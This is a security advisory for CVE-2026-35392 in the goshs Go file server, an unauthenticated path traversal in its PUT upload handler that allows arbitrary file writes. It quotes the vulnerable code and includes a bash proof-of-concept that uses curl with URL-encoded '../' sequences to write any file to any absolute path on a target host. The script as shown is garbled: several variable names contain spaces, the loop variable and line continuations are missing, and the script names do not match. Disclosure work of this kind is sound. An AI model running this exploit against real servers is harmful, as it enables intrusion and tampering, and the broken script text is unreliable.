PT-2026-30021 · Go · Github.Com/Patrickhener/Goshs

Published

2026-04-03

·

Updated

2026-04-03

·

CVE-2026-35392

CVSS v3.1

9.8

Critical

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

  • PUT upload has no path sanitization | httpserver/updown.go:20-69
This finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:20-69 Trigger: PUT /<path> (server.go:57-59 routes directly to put())
The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
  upath := req.URL.Path               // unsanitized

  filename := strings.Split(upath, "/")
  outName := filename[len(filename)-1]

  targetpath := strings.Split(upath, "/")
  targetpath = targetpath[:len(targetpath)-1]
  target := strings.Join(targetpath, "/")

  savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
  // ...
  os.Create(savepath)                // arbitrary path write
UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.
Impact: Unauthenticated arbitrary file write anywhere on the filesystem.
PoCs:
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL FILE" ]; then
  echo "[-] Local file not found: $LOCAL FILE"
  exit 1
fi

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for  in $(seq 1 16); do
  TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / from target
TARGET REL="${TARGET#/}"

PUT PATH="/${TRAVERSAL}${TARGET REL}"

echo "[*] Source: ${LOCAL FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] PUT:   ${PUT PATH}"
echo ""

HTTP CODE=$(curl -s -o /dev/null -w "%{http code}" 
  --path-as-is 
  -X PUT --data-binary "@${LOCAL FILE}" 
  "http://${HOST}:${PORT}${PUT PATH}")

echo "[*] HTTP ${HTTP CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
To execute it: ./arbitrary overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Fix

Path traversal

Weakness Enumeration

Related Identifiers

CVE-2026-35392
GHSA-G8MV-VP7J-QP64

Affected Products

Github.Com/Patrickhener/Goshs